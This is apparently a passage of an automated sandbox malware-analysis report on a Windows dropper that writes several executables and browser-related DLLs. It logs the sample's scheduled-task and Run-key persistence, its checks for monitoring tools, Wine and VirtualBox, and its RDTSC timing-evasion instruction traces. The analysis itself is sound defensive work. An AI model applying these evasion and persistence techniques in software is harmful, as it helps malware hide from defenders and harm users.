Source: 77d2de4f7b.exe.17.dr	Static PE information: section name:
Source: 77d2de4f7b.exe.17.dr	Static PE information: section name: ymqqshfd
Source: 77d2de4f7b.exe.17.dr	Static PE information: section name: ftkrcswf
Source: 77d2de4f7b.exe.17.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B536 push ecx; ret		0_2_6C96B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BAD91C push ecx; ret		17_2_00BAD92F

Source: file.exe	Static PE information: section name: myujmcep entropy: 7.9547694212447535
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.98106874389653
Source: random[1].exe.0.dr	Static PE information: section name: wzzqklpt entropy: 7.953630253744871
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name: entropy: 7.98106874389653
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name: wzzqklpt entropy: 7.953630253744871
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.98106874389653
Source: skotes.exe.14.dr	Static PE information: section name: wzzqklpt entropy: 7.953630253744871
Source: random[1].exe.17.dr	Static PE information: section name: entropy: 7.9836752439029866
Source: random[1].exe.17.dr	Static PE information: section name: nxovzswj entropy: 7.954513868908687
Source: c3e4899de4.exe.17.dr	Static PE information: section name: entropy: 7.9836752439029866
Source: c3e4899de4.exe.17.dr	Static PE information: section name: nxovzswj entropy: 7.954513868908687
Source: random[1].exe0.17.dr	Static PE information: section name: myujmcep entropy: 7.955043475328316
Source: 74cb638a83.exe.17.dr	Static PE information: section name: myujmcep entropy: 7.955043475328316
Source: random[1].exe1.17.dr	Static PE information: section name: ymqqshfd entropy: 7.937182137533328
Source: 77d2de4f7b.exe.17.dr	Static PE information: section name: ymqqshfd entropy: 7.937182137533328

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\AEBKFIJEGC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1011214001\74cb638a83.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\AEBKFIJEGC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\AEBKFIJEGC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c3e4899de4.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c3e4899de4.exe			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9955F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9955F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295C57 second address: 1295C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295C5D second address: 1295C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jc 00007FE45D015356h 0x0000000b pop ebx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295C78 second address: 1295C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE45D011952h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295C95 second address: 1295C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295C9B second address: 1295CA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294EF8 second address: 1294F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D015362h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294F0E second address: 1294F1C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE45D011946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295352 second address: 1295356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295511 second address: 129553D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D01194Ch 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c jmp 00007FE45D011959h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296FD7 second address: 1297068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015362h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 7F0C9092h 0x00000010 jmp 00007FE45D01535Bh 0x00000015 mov ecx, ebx 0x00000017 push 00000003h 0x00000019 call 00007FE45D015361h 0x0000001e jmp 00007FE45D015365h 0x00000023 pop edi 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007FE45D015358h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 push 00000003h 0x00000042 xor dword ptr [ebp+12447309h], edi 0x00000048 call 00007FE45D015359h 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FE45D01535Ah 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297068 second address: 12970A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE45D011952h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jng 00007FE45D011954h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 jg 00007FE45D011948h 0x0000001d push edx 0x0000001e pop edx 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970A5 second address: 12970B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970B3 second address: 12970B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970B9 second address: 12970BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970BD second address: 12970C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970C1 second address: 12970D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970D2 second address: 12970DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE45D011946h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970DD second address: 12970F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE45D015363h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12970F5 second address: 1297183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FE45D011948h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 lea ebx, dword ptr [ebp+1244AE18h] 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007FE45D011948h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 00000016h 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 push eax 0x00000043 call 00007FE45D011957h 0x00000048 mov dword ptr [ebp+122D37C8h], ebx 0x0000004e pop edi 0x0000004f pop edx 0x00000050 stc 0x00000051 push eax 0x00000052 pushad 0x00000053 push edi 0x00000054 pushad 0x00000055 popad 0x00000056 pop edi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FE45D011954h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297290 second address: 1297294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297294 second address: 1297310 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE45D011946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007FE45D01194Eh 0x00000014 pop eax 0x00000015 adc edx, 01B1AB3Ch 0x0000001b lea ebx, dword ptr [ebp+1244AE21h] 0x00000021 add dword ptr [ebp+122D37C8h], eax 0x00000027 pushad 0x00000028 add dword ptr [ebp+122D18D7h], edi 0x0000002e pushad 0x0000002f mov dword ptr [ebp+122D2B61h], edx 0x00000035 je 00007FE45D011946h 0x0000003b popad 0x0000003c popad 0x0000003d xchg eax, ebx 0x0000003e jmp 00007FE45D01194Ch 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jmp 00007FE45D01194Ch 0x0000004c jmp 00007FE45D011958h 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297310 second address: 1297315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129737E second address: 1297384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A92A1 second address: 12A92A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A92A5 second address: 12A92B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FE45D011946h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B81AC second address: 12B81B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B669B second address: 12B66A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B66A1 second address: 12B66A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6826 second address: 12B6845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D011954h 0x00000009 jnp 00007FE45D011946h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6845 second address: 12B684B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B684B second address: 12B684F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B69BC second address: 12B69D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015360h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B69D0 second address: 12B69E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE45D011946h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B69E0 second address: 12B69E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B69E8 second address: 12B6A2D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE45D011948h 0x00000008 jmp 00007FE45D011954h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jno 00007FE45D01195Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007FE45D011946h 0x0000001e rdtsc
